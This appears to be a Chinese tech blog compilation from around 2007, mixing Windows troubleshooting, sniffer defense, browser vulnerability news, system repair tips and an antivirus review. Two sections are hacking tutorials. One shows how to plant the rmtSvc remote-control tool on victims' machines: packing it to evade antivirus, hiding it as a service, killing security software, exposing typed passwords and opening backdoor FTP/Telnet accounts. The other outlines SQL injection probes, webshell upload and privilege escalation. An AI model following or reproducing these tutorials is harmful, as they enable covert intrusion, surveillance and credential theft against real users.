硬件:不要用普通的共享式HUB,用交换机来代替它,目前只有交换机和路由器能阻止sniffit的作用。

软件:用带加密功能的tcp/ip连接,象ssh/scp全面代替telnet/ftp/pop3,用MD5方式的apache认证。

6.作用范围:

仅在逻辑子网内有效,不能跨子网,因为广播不被路由器传递,但若是在服务器上运行sniffit,则任何方法均无效,对防火墙来说,通常sniffit攻击是第二层攻击,就是先得到一个普通帐号进入再探寻更多的口令。

7.怎样判断是否有人在用sniffit?

可检测网络接口(ifconfig)看是否处于混杂模式来确认是否被侵入并安装了sniffit,只限本机。

Windows桌面常遇故障解决方法

Windows桌面常遇故障解决方法

  在使用Windows的时候,系统桌面故障会造成我们使用的时候非常的不方便,这个时候我们应该怎么办呢?下面我们给出了一些解决的方法。

  一、加载explorer.exe

  大多数情况下,无法显示桌面图标是因为系统启动的时候无法加载explorer.exe,下面就教大家在注册表中加载explorer.exe:

  1、在“开始”“运行”处输入regedit,启动注册表,找到下面路径,如果shell下没有explorer.exe那就自己鼠标右键新建一个explorer.exe即可路径:\HKEY_LOCAL_MACHINE\SOFTWARE\Micrososft\Windows NT\CurrentVersion\Winlogon\Shell

  2、如果手动加载也不行的话,可能是Explorer.exe文件坏了,到别人的电脑上复制一个回来就行了。

  3、找原因。可能是病毒损坏了explorer.exe文件。

  二、图标显示速度很慢

  都说Windows系统越用越慢,就拿桌面图标来说,越来越多的快捷方式使桌面的显示速度非常的慢,每次刷新桌面都会出现迟滞。

  对症:系统用一块称为图标缓存的区域来保存已经建立的快捷方式图标,刷新桌面显示时就无需重新建立,只需从缓存中读取即可,而Windows默认的缓存较小,建立的快捷方式过多后就超出了缓存的存储范围,并影响了显示速度。步骤如下:在注册表中加大图标缓存的大小,首先打开“注册表编辑器”,找到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer],在右侧窗格创建一个名为“Max Cached Icons”的字符串值,设置它的值为“8192”(注意:最大只能为8192)重启系统后即可生效。

  三、手动启用桌面

  壁纸

  有些电脑是禁用了桌面壁纸的,禁用桌面壁纸有以下几种途径。

  如果使用多用户登录的话可以给相应的用户配置权限来达到禁用壁纸的目的,如果是单用户自动登录,给莫个用户设置权限并不能解决问题。那么有以下几种方:

  障眼法——在设置好桌面壁纸后,依次单击“开始”——“运行”,输入“gpedit.msc”回车打开“组策略编辑器”,依次定位到“用户配置——控制面板——显示”在右侧窗格中窗击“禁止更改壁纸,然后将其设置为”启用”。保存设置并退出,这样设置后在“显示”属性中就找不到“背景”这个选项了。不过在IE的图片上右击,再选择设置为背景,该图片还是可以作为背景,如果将组策略中的设置改为“未配置”就可以解决此问题。

  NTSF权限法:依次打开“开始——运行”输入“regedt32”(在Windows 2000中用regedt32可以设置权限,而regedit不可以),打开注册表编辑器,依次展开[HKCU\Control Panel\Desktop]分支,然后依次选择菜单“安全——权限”,在弹出的权限设置窗口中取消用户或组的写权限,保存设置并退出“注册表编辑器”重启系统即可。

四、Windows2000/xp explorer.exe出错,重新刷新桌面

  相信有很多人都碰到过这个故障,使用windows的时候,无故弹出“explorer.exe出错,重新刷新桌面”的抱错窗口,点击“确定”后重新生成桌面,虽然还可以继续使用,但是很多程序都不能正常运行,会出现这样那样的错误。很多人都选择重新安装系统,但是这样做很费时间。实际上通过重新生成用户配置文件夹可以解决这个问题。

  1、假设你登录的用户名为ralph,首先注销,然后以administrator帐户登录,进入系统后,将C:Documents and Settings(C为安装系统盘符)下的ralph文件夹改名,这里改成ralph1。这个ralph文件夹就是用户配置文件夹。

  2、接着注销administrator,再以ralph这个帐号登录,进入系统后在C:Documents and Settings文件夹下你会发现系统重新生成了一个ralph文件夹,现在这个问题就已经解决了,但是你会发现收藏夹,邮件都不见了,不要急。我们再继续恢复。

  3、将C:Documents and Settings alph1下的Favorites文件夹复制到ralph文件夹下覆盖同名文件夹,这样就把收藏夹找回来了。然后将“C:Documents and Settings alph1桌面”这个文件夹下的内容复制到ralph文件夹下的同名目录中,这样桌面上的东西也找回来了。

  五、粘起撕裂的图标

  如果桌面图标从中间分开,像被人撕开一样,这同样是图标缓存出了问题,因为图标的数据是以链接的形式存放在缓存区域中,如果链表中每个元素的开始与结束位置发生了错位,就会出现这种情况。

  这个故障可以通过手动重置图标缓存来解决。首先右击桌面空白处选择“属性”切换到“外观” 选项卡,在“项目”栏的下拉列表中选择“图标”,改变一下图标的大小,然后在变回原设置即可,这样系统就会自动清空并重建缓存中的数据,原来的错位也就消除了。

  六、桌面无法显示我的电脑

  系统设置法:在桌面上右键——属性——桌面——自定义桌面——在我的电脑处打勾。

  

  注册表法:“开始→运行”,键入“Regedit”后回车,然后在注册表编辑器中依次展开[HKEY_CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\Explore]分支,删除右侧窗口中的“StuckRects”主键,然后重新启动计算机。

  桌面图标无法显示,且鼠标右键点击桌面无反应!!

  安全模式下可以进入系统表明系统没有遭遇毁灭性打击,这样都是有救的首先打开注册表:运行:regedit然后选择“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run把这个项下的所有的全部干掉,这是系统的自启动项目。然后运行:msconfig在启动里面那项把所有的全部取消。这样就消除了所有随系统启动的故障了。

  然后在控制面版用户里把登陆方式改一下,改成不使用欢迎界面。

  最后把系统优化一下:

  注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters, 有一个键EnablePrefetcher把它的数值改为“1”就可以减少滚动条滚动的次数。

快来看看如何加快 XP启动速度

  Windows 2000、XP、2003系统有时会自行关闭硬盘的DMA模式,自动改用PIO模式运行!这就造成在使用以上系统中硬盘性能突然下降,其中最明显的现象有:系统起动速度明显变慢,一般来说正常Windows XP系统启动时那个由左向右运动的滑条最多走2~4次系统就能启动,但这一问题发生时可能会走5~8次或更多!而且在运行系统时进行硬盘操作时明显感觉变慢,在运行一些大的软件时CPU占用率时常达到100%而产生停顿,玩一些大型3D游戏时(比如极品飞车6)画面时有明显停顿(很多人这时以为是自己的显卡问题,当然如果你使用的是三年前的显卡玩这些游戏是有点老了,但如果你用的是今年才买的GF显卡那就不是它的问题了),出现以上问题时大家最好看看自己硬盘的DMA模式是不是被Windows 系统自行关闭了。查看自己的系统是否打开DMA模式:

  1. 双击“管理工具”,然后双击“计算机管理”;

  2. 单击“系统工具”,然后单击“设备管理器”;

  3. 展开“IDE ATA/ATAPI 控制器”节点;

  4. 双击您的“主要IDE控制器”;

  5. 点击“高级设置”。

  看到“设备0”,下面的传输模式应设为“DMA(若可用)”,再下面“当前传输模式”,如果是“Ultra DMA Mode *(*为数字,DMA33为2,DMA66为4,DMA100为5、DMA133为6)”,那么你的系统正常,但如果以前你自己设的是“Ultra DMA Mode 6”又没有改动,而现在是“Ultra DMA Mode 4”或“Ultra DMA Mode 2”更或者是“PIO 模式”而且改不过来!可能就是系统自行关闭了DMA模式了。

  分析问题:

  好了,先来说说问题是如何产生的。在Windows 2000/XP/2003中有这样一个设定: Windows IDE/ATAPI 端口驱动程序 (Atapi.sys) 累积收到总共6个超时或循环冗余检验 (CRC) 错误后,驱动程序将把通信速度(传送模式)从最快的直接内存访问 (DMA) 模式分步骤降为较慢的 DMA 模式。如果驱动程序继续收到超时或 CRC 错误,则驱动程序最终将把传送模式降为最慢的模式(PIO 模式)。

  问题就在这里!一般来说一个正常的硬盘很少会有超时或循环冗余检验 (CRC) 错误,但是当我们使用这些系统里的挂起(也有叫休眠)并恢复计算机后就很容易造成超时或循环冗余检验 (CRC) 错误。因为系统设定的超时值为4秒,当系统向 ATA 磁盘发出读取请求时如果硬盘回应时间超过 4 秒的超时值时才会产生超时或循环冗余检验 (CRC) 错误,但因为系统在挂起(也有叫休眠)时硬盘是在停转状态中,恢复计算机时硬盘有个从停止到运动的过程,这就很容易造成大部分硬盘回应时间超过 4 秒的超时值。

  也就是说当我们使用计算机挂起6次后系统就会把通信速度(传送模式)从最快的直接内存访问 (DMA) 模式分步骤降为较慢的 DMA 模式。如果挂起6次以上则驱动程序最终将把传送模式降为最慢的模式(PIO 模式)。这就是Windows 系统突然变慢的原因。

  成功以后:主要IDE控制器和次要IDE控制器全部变成英文的了,正常Windows XP系统启动时那个由左向右运动的滑条最多走2次系统就能启动,但这一问题发生时可能会走5~10次或更多!

  而且也没有了高级设置这一项了,看来再也不会出现把传送模式从最快的直接内存访问DMA降为最慢的模式(PIO 模式)。

  编者提示:不是所有进入系统慢的现象都是硬盘模式惹得祸哦。

做黑客很简单 用IE浏览器实现远程控制

做黑客很简单 用IE浏览器实现远程控制

作者:systec_hd 来源:赛迪网安全社区

听说过灰鸽子、冰河等可以实现远程控制,但你听说过IE也可以实现吗?不错,一款基于IE的新鲜工具——rmtSvc&vIDC即可让微软的IE成为一个超级黑客帮凶。本文除了将为你展现rmtSvc&vIDC是如何基于IE远程控制肉鸡以外,更在如何“暗杀”杀毒软件、攻击思路上有较强的指导性。

如果我问你IE能做什么?你的答案绝对不完整!IE可不仅仅能浏览网页。如果我再告诉你IE还能用来远程控制、远程传输、进程管理、代理服务,甚至远程开启Telnet、FTP服务等等呢?你一定觉得不可思议吧,有了rmtSvc&vIDC,这一切皆有可能!

一、有IE 想黑就黑

简单点说,rmtSvc是一款集FTP、Telnet服务、Proxy服务以及vIDC服务的远程控制工具。用户可以通过此款工具方便地对远程计算机进行控制。此工具和其它远程控制工具不同,它采用B/S结构(无需安装),用户可通过浏览器进行远程控制(我们的口号是:有IE,想黑就黑!)。

下面,笔者就以入侵控制的实例来为大家分别介绍rmtSvc常用功能的使用方法及技巧。解压下载后的压缩包,先别急着让rmtSvc.exe在目标机运行(未加壳的程序会遭到杀毒软件的查杀),笔者先告诉大家如何给源程序加壳从而避免被查杀吧(不然就没得玩了-_-|)。运行该软件,进入“选项”菜单,勾选“保留额外数据”,然后“打开文件”,选择源程序rmtSvc.exe后就会自动压缩了。

特别提醒:压缩后的rmtSvc.exe不会被杀毒软件查杀,而且文件体积会减少近50%(经过金山毒霸6增强版、KV2005、诺顿2005测试),如果想进一步增强隐蔽性,请参考2004年第50期G9版《披着羊皮的狼——将Radmin改造为百分百木马》一文介绍的“超级捆绑”软件的使用方法。木马程序的欺骗发送本文就不作进一步讨论了。

二、武装RmtSvc “暗杀”杀毒软件

1.打开浏览器输入http://IP:port(其中IP为被控机的IP地址,port为rmtSvc的服务端口,默认为7778)。连接成功后将会看到如图1的欢迎登录画面,输入访问密码(默认为123456),就可以进行rmtSvc所支持的操作(如果之前已经连同msnlib.dll和webe目录都发给了对方,那么rmtSvc将会多出用MSN进行远程控制和HTTP方式文件管理的功能)。

2.欢迎登录画面的上方为rmtSvc的系统菜单,从左至右的功能依次为:Pview (进程查看)、Spy++(远程控制管理)、Proxy(启动或停止rmtSvc的代理服务)、vIDC(设置vIDCs的访问权限)、logoff(注销对rmtSvc登录)、Option(配置rmtSvc的运行参数)、About(rmtsvc欢迎/登录画面)。

3.第一次登录需进入rmtSvc的参数设置更改敏感信息(图2),这样才能保障其安全性。先在“Modify Password”修改rmtSvc访问密码,再在“Service Port”更改rmtSvc服务端口为任意一个4位不常用的端口(需要重启服务才会生效,建议设为高端端口)。然后将“Start Control、Stolen mode”选上,这样rmtSvc会自动安装为Windows服务随机启动且服务为隐藏属性,这也就意味着在下次启动时,你可以继续控制目标机器。

4.接下来在“Start mode”选项中,设置rmtSvc运行后自动启动FTP和Telnet服务(另外还有Proxy、vIDCs映射等)。通过FTP可以方便地进行文件上传下载。再将“Auto install service”和“Forbid detaching Dll”选择上,这样每次程序运行时会自动检测rmtSvc服务是否已安装,如果没有安装则自动安装为服务(相当于自我修复功能)并释放一个DLL文件(可修改文件名,默认为inject.dll),这是为了防止自动释放的未加壳的DLL被杀毒软件查杀,用户可以选择不释放DLL。手工将加壳后的DLL拷入到被控机的系统目录下,在释放DLL的名称处填入你加壳后的DLL名称。

高手传经:rmtSvc释放的DLL主要有以下用处:隐藏进程、模拟“Ctrl+Alt+Del”按键、显示密码框密码、监视rmtSvc运行情况。如果异常退出或被杀掉则会自动重新启动,将配置参数写入rmtSvc程序本身(强烈建议选择)。

5.接下来在“Killed Program”中,设定rmtSvc监视并自动杀掉的进程名称,如有多个进程,各个名称之间以逗号分隔。例如输入:PFW.exe,KAVSvc.exe就可以把金山毒霸和天网防火墙关闭。

6.一切设置无误后,点击“Save”保存当前配置,在弹出的对话框中输入reg,将配置参数写入到注册表。输入self则是将配置参数写入该EXE文件自身,如果填写其它则会生成相应文件名的.exe的副本,并将配置参数写入此EXE副本。例如:输入c:\abc.exe,将在c盘根目录下生成一个abc.exe副本,并将配置参数写入此副本。

7.随后rmtSvc服务会重新启动运行。

高手传经:隐藏模式下才可以将配置参数写入EXE本身,如果没有保存,每次在rmtSvc正常退出时也会将配置参数写入EXE本身。

8.再次使用新设密码登录后,单击Pview进入“进程查看”页面,在这里将显示三个部分的信息:系统信息、进程/模块信息、CPU/内存使用信息。在页面的右边为进程模块显示区域,点击某个进程名则显示此进程的相关模块信息,点击“Kill It”按钮就可以杀掉该进程(需要注意的是进程列表不会实时自动刷新,用户必须手工刷新)。现在你的rmtSvc已经被武装到了牙齿,还等什么,可以出手了。

三、用IE控制过把瘾

把挡路的安全软件给“暗杀”后,接下来就可以趁对方不在时使用Spy++远程控制管理来远程控制机器了。当然在控制前我们需要将相关参数设置妥当,这样才能得到更好的控制效果。

1.在“Quality”显示效果中选择Good(好),“Stretch”设置捕获图像的缩小比率80%。最后将“Cursor”选上,这样在捕获远程计算机屏幕时就会连同鼠标光标一起捕捉,以便用户知道当前鼠标光标位置。设置好后点击“Set”使上述三个参数生效。

2.接下来就可以尝试控制了。当远程桌面图像处于焦点状态(鼠标在图像区域内),你就可以直接敲击键盘发送按键信息,和你操作本地机器一样。但是对于输入大段的文本这是非常不方便的,因为你的每次按键动作都会作为一次HTTP请求发出,输入速度很慢。

如果你想输入大段文本,可以将鼠标选中Input输入框,然后输入你想要发送的文本,按下回车即可;如果选中了Crlf复选框,则在你输入的文本后面会自动加入回车换行。

3.但是在进行远程计算机登录时,有些机器可能无法通过Input输入框直接输入登录密码,只能通过模拟键盘输入登录密码。方法如下:通过鼠标直接点击桌面图像,系统会自动识别你的鼠标的单击、双击键信息。如果你在按下鼠标的同时按下了“Shift”、“Alt”或“Ctrl”键,系统也能自动识别。

4.为了更方便地控制远程桌面,可以将远程桌面图像设为自动刷新,这样就不会出现有动作发出而图像没有变化需要手工刷新的情况了。方法如下,勾选“Auto-refresh”项,在右边输入自动刷新间隔,默认为500ms。

高手传经:如果想知道远程被控机中密码框中的密码。则需要用到Password→Text项,在有密码框时此项会变为Text→Password。此时只要用鼠标左键点击远程桌面图像的密码输入框,则远程被控机密码框中的密码会被翻译成明文显示。如果你取消此项功能,点击Text→Password项即可,此时此项就会变为Password→Text。

5.如果要远程执行程序,选择Start下拉列表框的Run项,输入你要远程执行的文件名和参数即可,使用方法和Windows的开始菜单的运行命令一致。

如此这般,通过IE就能像操作本机一样控制目标机了。

四、FTP/Telnet 一个都不能少

远程控制似乎并不能让我们感到满足,那就再来开启对方的FTP/Telnet服务,彻底过把入侵瘾吧。

1.进入“FTP&Telnet”菜单,点击FTP/Telnet服务旁边的“Run”就可以启动相关服务了。FTP/Telnet port:设置FTP/Telnet服务的端口,默认FTP为2121,Telnet为2323。Anonymous access:设置访问FTP服务的权限,是否允许匿名访问(enable),如果不允许则设置访问的用户名和密码。

2.另外,我们还要允许设置不同访问的账号,每个账号可以指定是否可写/可删除/可执行以及设置不同的FTP根目录。可以在FTP设置的文本输入框中输入多个访问账号信息,各个账号信息用回车换行分隔,账号信息格式如下:

[账号名] SP [密码] SP [访问权限] SP [允许访问的目录] CRLF

高手传经:设置PERMISSION(访问权限)时,0:仅仅只读,1:可写,3:可写并且可删除 7:可写可删除可执行。例如:[cytkk] sp [123456] sp [7] sp [c:] 就建立了一个拥有管理员权限,密码为123456的cytkk账户。

3.此时FTP账号信息仅仅写入注册表保存,不会保存到EXE中。

现在就可以利用FTP工具和Windows自带的Telnet工具进行登录和操作了,此时你想怎么玩就怎么玩吧!

到此,RmtSvc基本功能的使用大家就已经学会了,限于篇幅,它更多的功能就不在此一一举例了。

网络入侵的提高方法

现在要入侵一个网站直接跟据服务器开的一些端口,用那些溢出方式来搞下网站服务器,想必不太可能了,要是现在还能用1433能轻松的搞定一台服务器,那你就能买彩票去了哦。

现在的管理员们的安全意识也越来越高了,系统里面打上该打的补丁就没问题了。那用溢出工具怎么也搞不定,现在网上流行的就是注入和上传还有旁注。别的太高深的技术,偶可不会,所以就以本人的理解和学习的过程给大家。

下面谈入侵的提高:

一开始的时候或许什么也不懂,可以用工具来注入,但是不能一直用这些工具来注入,那样只会使我们的水平停滞不前。当我们熟悉了这些工具之后,就试着用手工来查找一个网站的注入点。有的注入点工具是找不到的,多多用手工注入。有的东西是工具所替代不了的,平时的时候也不要一直做一些一点意义都没有的入侵,要试着提高自己的水平。工具会用了,要是不会数据库语言就去学习学习,像access、mysql等,会了你就会懂得那工具注入的时候提交的参数是什么意思了。

像and 1=1 and 1=2

检测表段and exists(select *from[]……

检测字段and exists(select[admin]from[admin])……等,要是你不学习和了解这些,那么你永远可能都不会手工注入,更别说提高自己的水平了。

接着可以试着去学习网页语言像html、asp、jsp等,学会了注入的时候工具检测不出来,用手工会有意想不到的结果。由其在你得到webshell而没法提权的时候,如果你会asp语言,你看网页源代码就会得到你想要的东东。如得到它数据库的路经等,从而使你更快的提权。

没有现成的书来学习这些东西,网上多的是,要学会在baidu和google里面来学习,要学会利用网络资源。还有就是对于注入网站,要学会找方法,一种不行时,要应该学会从多方法来考虑,这样我们的水平才能慢慢的提高。另外在注入成功后,一些人就习惯性的去找后台的密码,来进入后台后,上传马儿,得到webshell来提权。偶建议先看看是不是sa权限的,要是是的话,那么我们就可以试试能不能执行系统的一些命令,如加管理员帐号开telnet服务等,同时看看是不是开了3389端口,这样可以使我们少走一些不必要的路。

小心提防 出现四种新的浏览器严重漏洞

太平洋电脑网

  作者:BlackWing

  最近又有四个新的针对Internet Explorer和Firefox的漏洞被公布,其中各自占两个。安全研究员Michal Zalewski首先发现了这四个漏洞,并在周一发送到公告邮件列表中。

  最严重的Bug是IE中的一个可能导致cookie被偷窃或者设置,页面劫持,以及内存崩溃的漏洞。Zalewski 把它叫做“引诱与切换隐患”。

  同一域中从某网页导航到另一个网页会允许攻击者执行恶意的JavaScript代码,这些代码在前一页中已经得到验证。这个问题也影响到完全打好补丁的IE6与IE7。

  在Firefox中的隐患被认为是次严重的漏洞。在此漏洞中,存在一种跨站点IFRAME劫持攻击。攻击者可以用about:blank页面在浏览器中发动键盘记录与内容欺骗攻击。

  出现在Firefox中的另一个问题会导致未经同意就下载文件或导致文件的执行。所谓的“模糊”与“聚焦”操作绕过延迟计数器和下载确认过程,结果导致了这个漏洞的出现。

  最后,在IE6中存在的欺骗漏洞允许一些特殊处理过的网站改变地址栏中的数据,而IE7并不受影响。

系统安全之紧急救护受损的Windows系统

系统安全之紧急救护受损的Windows系统

作者:systec_hd 来源:赛迪网安全社区

很多时候我们会发现自己的系统问题越来越多,如果将就使用,那系统运行效率肯定不会很高,甚至还无法正常运行,如果选择重新安装系统,那不但麻烦不说,而且还会耗费很长的等待时间。其实,当Windows系统一旦遇到无法启动或者运行出错的故障时,我们不妨使用下面的六项措施,来快速而有效地“急救”受损的Windows系统,说不定能收获奇效!

1、最后一次配置

Windows2000以上版本的操作系统,每次成功启动之后都会对系统注册表进行自动备份,一旦我们发现Windows系统本次不能正常启动时,那多半是我们上一次对系统进行了错误的操作或者对某些软件进行了错误的安装,从而破坏了系统注册表的相关设置。此时,我们可以尝试使用上一次成功启动时的配置来重新启动一下计算机系统:只要在重新启动系统的过程中,及时按下F8功能键,调出系统启动菜单,然后选中“最后一次正确的配置”项目,这样的话Windows系统说不定又能启动正常了。

2、修复系统文件

如果Windows系统的某些核心文件不小心被损坏的话,那么即使使用“最后一次配置”,Windows系统也很难保证就能启动正常。如果Windows系统只是有少量的系统文件受损的话,那我们不妨借助Windows系统内置的SFC扫描修复命令,来尝试对那些已经遭受破坏的系统文件进行修复,一旦修复成功后,那Windows系统的启动又会恢复正常状态了。在修复受损系统文件时,只要依次单击“开始”/“运行”命令,在弹出的系统运行对话框中,输入字符串命令“sfc/scannow”,单击回车键后,该命令程序就会对系统每个角落处的系统文件进行搜索扫描,一旦发现系统文件的版本不正确或者系统文件已经损坏的话,它就能自动弹出提示界面,要求我们插入Windows系统的安装光盘,以便从中提取正常的系统文件来替代不正常的系统文件,从而达到修复系统文件的目的。要是系统修复操作成功的话,相信我们重新启动计算机系统时,就不会看到有什么不正常的现象了。

3、注销当前用户

如果Windows系统的受损部位只是由于安装了不恰当的软件,或者是对软件进行了不合适的设置引起的话,那么我们通常可以通过“注销当前用户”的方法,来对受损的Windows系统进行急救,因为软件对系统设置的影响往往只能限于当前登录的用户,一旦在当前用户状态下系统不能正常运行的话,我们完全可以注销当前用户,并以其他的用户重新登录系统,这样Windows一般又能恢复正常运行状态了。

在注销当前用户、换用其他用户登录系统之前,我们需要先打开系统的控制面板窗口,然后双击其中的“用户帐户”项目,再单击其后界面中的“添加”按钮,来重新创建一个新的登录帐号,同时为该帐号设置一个合适的访问密码,并将对应的帐号设置为超级管理员权限。

由于换用其他帐号登录Windows系统后,保存在当前用户目录下的一些重要数据可能就访问不到了,为此在注销用户之前,我们有必要打开系统的资源管理器窗口,找到当前帐号所对应的用户目录,例如要是当前登录系统的帐号为aaaa的话,那么系统默认的帐号目录应该为“C:\Windows\DocumentsandSettings\aaaa”,将该目录下面的一些重要数据全部备份到系统分区以外的其他分区目录中。

做好了上面的准备工作后,现在我们就能依次执行“开始”/“注销aaaa”命令,来将当前的登录帐号注销掉,然后重新用刚刚创建好的帐号登录Windows系统;在用新帐号成功登录进Windows系统后,我们再把前面备份好的重要数据恢复到当前帐号所对应的新用户目录下面,这样的话受损Windows系统就能恢复以前的正常运行状态了。

4、重注册DLL文件

Windows系统有时之所以会频繁受到损伤,主要是许多应用程序常常共享调用一些DLL文件,一旦有的应用程序在使用完毕被自动卸载掉后,这些应用程序所调用的DLL文件往往也会跟着被删除掉了,这么一来Windows系统或系统中的其他应用程序再次调用那些共享了的DLL文件时,就自然会发生错误现象了。

在急救那些由于系统DLL文件丢失引起的Windows系统运行不正常故障时,我们根本不需要重新安装操作系统,只需要对那些已经丢失了的DLL文件进行一下重新注册,就能让系统恢复正常运行状态了。考虑到我们并不知道究竟是哪一个或哪几个DLL文件被损坏了或丢失了,我们不妨通过下面的方法,来对系统所有的DLL文件都重新注册一下,而不需要单独对某一个或某几个DLL文件进行注册:

首先打开类似记事本这样的文件编辑程序,然后在对应的程序界面中输入如下命令行代码:

@echooff

for%1in(%windir%\system32\*.dll)doregsvr32.exe/s%1

将上面的命令行代码保存成一个扩展名为BAT的批处理文件,例如这里笔者假设将该代码内容保存为了repair.bat文件;其次为repair.bat文件创建一个快捷图标,并将该快捷图标直接拖放到系统的桌面上,等到日后需要对系统中的所有DLL文件进行重新注册时,我们只需要双击repair.bat文件的快捷图标,系统就会自动开始对所有的DLL文件执行重新注册操作了。一旦所有DLL文件被重新注册过之后,此时我们不妨再尝试运行一下Windows系统,相信此时的系统肯定会十分正常了!

5、恢复原始文件

如果Windows系统不正常运行的故障是由于系统注册表被意外破坏引起的话,那么我们完全可以借助常规的copy命令,来将系统原始的注册表信息直接复制到系统对应的目录下,这样可以快速地实现恢复受损系统文件的目的。由于Windows系统第一次被安装成功后,原始的注册表信息都会被自动备份保存到系统安装目录下面的Repair子目录中,因此我们只要将Repair子目录下面的注册表信息直接复制到系统的配置目录中就可以了:

如果本地计算机只安装了一个操作系统的话,那我们不妨借助Windows98启动光盘,来将系统先引导到DOS命令行状态;如果本地计算机中安装了两个以上操作系统的话,那只需要将系统切换另外一个能正常运行的系统中就可以了;接下来在DOS命令行状态,通过CD命令将当前目录切换到“%windir%\Repair”子目录状态下,并依次执行如下字符串命令:

copysam%windir%\system32\config

copysystem%windir%\system32\config

copysoftware%windir%\system32\config

copydefault%windir%\system32\config

copysecurity%windir%\system32\config

一旦在执行上面的字符串命令过程中,系统弹出提示询问是否将以前的文件覆盖掉时,我们直接进行肯定回答就可以了。等到系统的注册表信息被所有原始注册表文件替换掉后,我们再次重新启动一下系统,相信此时系统肯定能正常运行了。

6、系统还原功能

要是我们的计算机中安装的是WindowsXP系统的话,那除了通过上面的方法来急救受损的系统外,还能借助WindowsXP系统特有的“系统还原功能”,来将Windows系统的运行状态恢复到正常,下面就是该方法的具体实施步骤:

依次单击“开始”/“程序”/“附件”/“系统工具”/“系统还原”命令,在其后弹出的系统还原设置向导界面中,将“恢复我的计算机到一个较早的时间”项目选中,然后单击“下一步”按钮;在其后弹出的系统还原点列表窗口中,我们一般选择一个离当前时间比较近的一个还原点来还原系统,一旦选好目标还原点后,继续单击“下一步”按钮,Windows系统就能被自动恢复到以前的正常工作状态了。值得一提的是,在使用该功能之前,我们一定要在Windows系统运行正常的状态下,及时创建好合适的系统还原点,以便日后恢复系统时所用!

XP升级到Vista时失败后无法启动的解决

  当您在升级到 Windows Vista 失败后尝试启动,但却不能进入Windows XP 系统也无法进入vista,而是显示黑屏以及一条闪烁的底线。

  当出现这种问题时该如何解决呢?(vista之家)www.vista123.com为你提供如下操作步骤:

  1、使用 Windows XP CD 启动计算机。

  2、 在“欢迎使用安装程序”屏幕上,按 R 修复 Windows。

  3、 登录到要修复的 Windows XP 安装中。

  4、键入 fixboot,然后按 Enter。

  5、 键入 y,然后按 Enter 确认要向系统分区中写入新的启动扇区。执行此操作时,将显示以下信息:

  成功地写入了新的启动扇区。

  6、 键入 exit,然后按 Enter 退出恢复控制台。

  7、 重新启动计算机,然后完成 Windows Vista 升级操作。

vista下IE临时文件夹在那?

  vista下IE临时文件夹在那?

  回答:

  首先我们要显示隐藏的文件和文件夹。

  (1)控制面板-〉外观和个性话-〉(右侧)文件夹选项。

  (2)弹出文件夹选项卡-〉选中“隐藏的文件和文件夹”这个好像上次说过。这样我们就可以看见隐藏的文件夹了,如果不喜欢这样之后可以在点回去!

  然后就是找到ie的临时文件夹了。

  (1)我的文档-〉用户-〉AppData-〉Local-〉Microsoft-〉Windows-〉Temporary Internet Files。

  这样我们就可以看见IE临时文件夹了。其实我们有的时候会找不到AppData这个文件夹主要原因是他本身被隐藏了。

  好了解决问题!

星期二, 六月 05, 2007

实例评测:选择出最适合股民的杀毒软件

作者:SEA 来源:赛迪网

火红的长阳、屡创新高的指数,中国正经历着十几年来最大的一波牛市,炒股成为媒体争相报导的焦点和人们津津乐道的话题。据最新数据统计,中国股票开户数已经突破了一个亿,而且其中相当一大部分股民选择了通过网络进行证券交易。如果再加上通过网上银行申购基金的基民,数量更为庞大,用“全民皆股”来形容并不为过,笔者就是其中的一员。

作为一名在网上炒股时间较长的老股民,最担心的就是资金和帐户的安全。专门窃取银行帐号的木马程序,以及恶意操纵用户股票的“证券大盗”病毒,时刻幽灵般的困扰着我们。如何选择一款最适合股民的反病毒软件,是笔者本次评测的最终目的。

一、评测环境:

CPU:Celeron D 341(2.93GHz)

内存:金邦 512MB DDR400*2

硬盘:希捷160G SATA

系统:Microsoft Windows XP Pro SP2

二、参测软件及病毒样本

本次参测的反病毒软件为国内市场上主流的几款反病毒软件,它们分别是《金山毒霸2007》、《瑞星2007》、《江民KV2007》、《卡巴斯基反病毒软件6.0》、《Norton AntiVirus 2007》。以上反病毒软件可以在相关安全公司网站或软件下载网站下载,全部软件均在线更新到最新版本的病毒库。

由于盗窃帐号和远程入侵操纵用户计算机的一般为木马病毒或后门程序等,所以笔者此次只选取了网上搜集到的100个病毒样本,其中包括灰鸽子、证券大盗以及熊猫烧香等。

三、测试项目

1、系统资源占用评测

对于股民来说,时间就是金钱,堵单无亦于堵心,所以系统的稳定和网络的畅通至关重要。因此选择一款系统资源占用小的反病毒软件,应该在我们考虑因素之内。

笔者的测试方法是:每安装一款反病毒软件,都把它升级到最新的病毒库。接着空置电脑20分钟不进行任何操作,然后打开资源管理器查看软件各组件的资源占用情况,把它们相加得出一个数据。

由于股民在看盘的过程中,基本不会进行查毒操作,因此不再进行病毒扫描的资源占用和CPU占用率的测试。

从这五款软件的测试结果来看,《卡巴斯基反病毒软件6.0》给我们留下了深刻的印象,它进程中只有两个文件,仅占用了6MB的内存空间(如图01)。而《Norton AntiVirus 2007》与之相比占用的资源要多的多,大约在15MB左右,也是参测软件中占用资源最多的一款产品。



图01

《金山毒霸2007》、《瑞星2007》和《江民KV2007》虽然都集成了网络防火墙等模块,但是在系统资源占用的控制上还是表现的不错,基本都控制在13MB以下。

笔者在这里需要说明一下的是,杀毒软件的进程资源占用与软件运行而造成的资源占用有很大不同,这里涉及到svchost这个共享进程,另外所监控的项目和文件数量越多,所占用的资源也越大,所以以上数据仅供参考。

2、木马病毒查杀能力评测

随着网络的发展,各类病毒层出不穷,其中危险最大的一类就是木马病毒,以股民们谈之色变的“证券大盗(Trojan/PSW.Soufan)”为例,它可以盗取多家证券交易系统的交易账户和密码,然后黑客通过这些盗取的帐号和密码可以恶意操纵帐户内的股票,例如通过高买低卖、低卖高买等,赚取中间的差价,这会给被盗账号的股民带来巨大的经济损失。所以最适合股民的反病毒软件,必然应该是一款查杀木马病毒能力高强的软件。

我们选取了100个病毒样本对各款软件进行了测试,其中查杀率最高的是《金山毒霸2007》,它的查杀率达到了九成,为90个,可以说非常令人满意(如图02)。其他软件排名依次是《卡巴斯基6.0》71个、《瑞星2007》67个、《江民KV2007》63个、《Norton AntiVirus 2007》57个。



图02

3.隐私防保功能评测

